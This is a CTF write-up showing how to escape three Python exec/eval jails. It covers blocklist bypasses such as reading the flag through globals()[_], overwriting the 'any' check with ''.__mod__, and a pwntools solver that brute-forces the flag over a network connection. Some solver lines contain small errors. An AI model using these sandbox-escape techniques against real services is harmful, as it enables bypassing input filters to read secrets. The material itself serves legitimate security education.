---
# System prepended metadata

title: amateurs CTF Writeups pyjail
tags: [pyjail, writeups, ctf]

---

# Writeups for Censorship, Censorship Lite, & Censorship Lite++

## Censorship

This series of challenge is about python jail and the target of this jail is to read the flag, we may get shell but i just think that would be overkill since flag was loaded in the program.

Let's start with the first one `Censorship`

```python
#!/usr/local/bin/python
from flag import flag

for _ in [flag]:
    while True:
        try:
            code = ascii(input("Give code: "))
            if "flag" in code or "e" in code or "t" in code or "\\" in code:
                raise ValueError("invalid input")
            exec(eval(code))
        except Exception as err:
            print(err)
```

Looking at the code we can see they block everything that contain `flag`, `e`, `t`, and `\`, and they convert all the input into ascii, which mean when we input unicode character it will be converted to something like `\u1337`, and since it has `\` in it we'll get `ValueError`.

But notice that the error that we get from `exec(eval(code))` will be printed out, at first i didn't notice this and trying different way to read the flag, and since the flag was also loaded to `_` we can get flag from reading `_`.

Obviously there're lot solution to this, but my solution is to call `globals()` since the `_` variable was on global scope, but calling `globals()` wasn't enough, the code wasn't printing out output of the `globals()`.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
```

```sh
✦8 ❯ python Censorship.py                       
Give code: globals()
Give code: 
```
but `_` was in `globals()` so by doing `globals()[_]` we'll get the flag.

```sh
✦8 ❯ nc amt.rs 31670
Give code: globals()[_]
'amateursCTF{i_l0v3_overwr1t1nG_functions..:D}'
Give code: 
```

As i said earlier there're lot of solutions for this one, we can do `locals()[_]`, `vars()[_]`, `{}[_]` (from @skuuk), `(1).__class__(_)` (from @mightyzanark) or even overwrite `ascii` function so we could type unicode without getting blocked, and many more.

## Censorship Lite

Second chall of the series, let's see what they block this time.

```python
#!/usr/local/bin/python
from flag import flag

for _ in [flag]:
    while True:
        try:
            code = ascii(input("Give code: "))
            if any([i in code for i in "\lite0123456789"]):
                raise ValueError("invalid input")
            exec(eval(code))
        except Exception as err:
            print(err)
```

now the blocklist is `\lite0123456789`, if we want to check what function that not contains those chars we can fuzz with this.

```python
print("----\'\'.__dir__()---")

for code in "".__dir__():
    if not any([i in code for i in "\lite0123456789"]):
        print(code)

print("-----builtins------")

for code in dir(__builtins__):
    if not any([i in code for i in "\lite0123456789"]):
        print(code)
```

Output :

```sh
✦8 ❯ python fuzz.py          
----''.__dir__()---
__hash__
__mod__
__rmod__
__add__
__doc__
-----builtins------
EOFError
IOError
LookupError
OSError
TabError
__doc__
abs
any
chr
hash
map
max
ord
pow
round
sum
vars
```

see vars wasn't get blocked, so `vars()[_]` still work and so for some other solutions. But let's try another idea on how we get the flag, in the code they use any function to check if there's blocked char in our input, so we could overwrite `any` functions.

```python
if any([i in code for i in "\lite0123456789"]):
```

Just imagine if we could overwrite it with `all` we could type whatever we want (but don't type those all blocked chars because it will triggert if condition), or `min` so when `min([True, False, True])` will return `False`, but those functions sadly get blocked, but let's see what we got from the result of fuzzing function earlier, there's one function that could satisfy us, which is `''.__mod__`, me personally doesn't know what function this for so let's try it out.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ''.__mod__([True,False,True,False])
''
```

it return `''` (empty string)

```python
>>> if '':
...     print('yes')
... 
>>> if 'a':
...     print('yes')
... 
yes
```

if we check on if statement the condition won't satisfy, so it's like `False` boolean so let's get the flag!.

```sh
✦8 ❯ nc amt.rs 31671         
Give code: any=''.__mod__
Give code: print(_)
amateursCTF{sh0uld'v3_r3strict3D_p4r3nTh3ticaLs_1nst3aD}
```

## Censorship Lite++

Disclaimer on this one!!, i did not solved it during the ctf, i have some idea including brute the flag, but all got stucked because of the restriction (blocklist), but it really brute the flag is the intended way and the only way, the thing is digit is blocked so the trick is by using boolean, after reading some of the solver i understand how to solve this last challenge of the series, but first let's see the program.

```python
#!/usr/local/bin/python
from flag import flag


for _ in [flag]:
    while True:
        try:
            code = ascii(input("Give code: "))
            print(code)
            if any([i in code for i in "lite0123456789 :< :( ): :{ }: :*\ ,-."]):
                print("invalid input")
                continue
            print(__doc__)
            exec(eval(code))
        except Exception as err:
            print("zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz")
```

Error based payload won't work because error doesn't printed out instead you'll get `zzzzz..`, we can't also use `()` and our trick from earlier which is overwriting `any` with `''.__mod__` doesn't work because `.` get blocked, and so let's get to the intended way BRUTE THE FLAG.

### More on Boolean

We may know that 0 is `False` and 1 is `True`.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0 == False
True
>>> 1 == True
True
>>> '' == False
False
>>> 'a' == True
False
```

but empty string which we use earlier it's not a boolean, and @driikolu said this on the CTF server.

```
Driikolu — Today at 8:25 AM
bool is a subclass of int to be precise 🙂
```

let's test it out

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> # Check the type of True and False
>>> print(type(True))   
<class 'bool'>
>>> print(type(False))  
<class 'bool'>
>>> # Check if bool is a subclass of int
>>> print(issubclass(bool, int))  
True
>>> # Check the value of True and False
>>> print(int(True))   
1
>>> print(int(False))  
0

>>> # Perform arithmetic operations with bool and int
>>> a = True + 5
>>> b = False - 3
>>> print(a)  
6
>>> print(b)  
-3
>>> True+True
2
>>> False+True+True
2
```

so knowing this we'll do the trick to make bool act like integer, and do some indexing with it since `[]` not get blocked, we'll brute all `string.ascii_leters` + `_{}` but since some of the chars were get blocked there's another trick we have to do.

### Python Format String

We know we can do format string in python, but lot of tutorial on the internet just tell us that python format string is something like `f'x : {x}'` or `'x = {}'.format(x)` but there's one more on how we do format string on python using `%` let's have an example.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = 1337
>>> f'x = {x}'
'x = 1337'
>>> 'x = {}'.format(x)
'x = 1337'
>>> 'x = %d' % x
'x = 1337'
```

That's looks like format string in c but bit different, with that we could change integer to char with `%c`, `%c` will treat provided variable into chars and we know char in ascii table reprsented by integer we could check it with `ord()`, basically `%c` is simillar to `chr()`.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ord('c')
99
>>> chr(99)
'c'
>>> '%c' % 99
'c'
```

But digits are blocked right, so where we get int from, the answer is bytes.

### Int from bytes

Based on this [Iterating over "bytes" - Python Wiki](https://wiki.python.org/moin/BytesStr#Iterating_over_.22bytes.22), we could get int from bytes by iterating it, indexing the bytes should also works.

```python
Python 3.11.3 (main, Jun  5 2023, 09:32:32) [GCC 13.1.1 20230429] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> type(b'a')
<class 'bytes'>
>>> type(b'a'[0])
<class 'int'>
```

Compiling all those tricks, we'll get the payload to BRUTE THE FLAG.

### Putting all together

First we have to define some variable that we're gonna use for bruteforcing

```python
b=''=='';s='a'=='b';arr='x';IDX=s"
```
first payload defining b = `True` / 1, s = `False` / 0,  


my final solver:
```python
from pwn import *
from string import ascii_letters

context.update(
    terminal='kitty',
    log_level='info'
)

send = lambda msg: p.sendlineafter(b'Give code: ', msg)
sendc = lambda msg: p.sendline(msg)
get = lambda : p.recvuntil(b'Give code: ', drop=True)

p = remote('amt.rs', 31672)
# p = process(['python', 'lite++Censorship.py'])

# set some variable
send(b"b=''=='';s=''!='';arr='x';IDX=s") # b = True / 1, s = False / 0, arr = array for checking, IDX = index set 0
send(br"L=b'L'[s]+b'!'[s]+~s;L='%c'%L")
send(br"I=b'I'[s]+b'!'[s]+~s;I='%c'%I")
send(br"T=b'T'[s]+b'!'[s]+~s;T='%c'%T")
send(br"E=b'E'[s]+b'!'[s]+~s;E='%c'%E")
send(br"CL=b'|'[s]+~s;CL='%c'%CL")
send(br"CR=b'|'[s]+on;CR='%c'%CR")

flag = ''
while not flag.endswith("}"):
    for c in ascii_letters + '_{}':
        payload = b"arr[_[IDX]=="
        if c in r"lite{}":
            sp = c
            if c == "{":
                sp = "CL"
            elif c == "}":
                sp = "CR"
            payload += sp.upper().encode("utf-8") + b"]"
        
        else:
            payload += b"'" + c.encode("utf-8") + b"']"

        get()
        sendc(payload)
        if b'zzzz' in get():
            sendc(b'IDX+=b')
            flag += c
            info(f'Flag : {flag}')
            break
        sendc(b'')

p.close()
```

NOTE : this solver was hardly inspired by @mightyzanark, so thanks to him i was able to understand and finish this pyjail series

FLAG : `amateursCTF{le_elite_little_tiles_let_le_light_light_le_flag_til_the_light_tiled_le_elitist_level}`

I post all the file in my github repo : [CTF-Writeups](https://github.com/UnoArroefy/CTF-Writeups)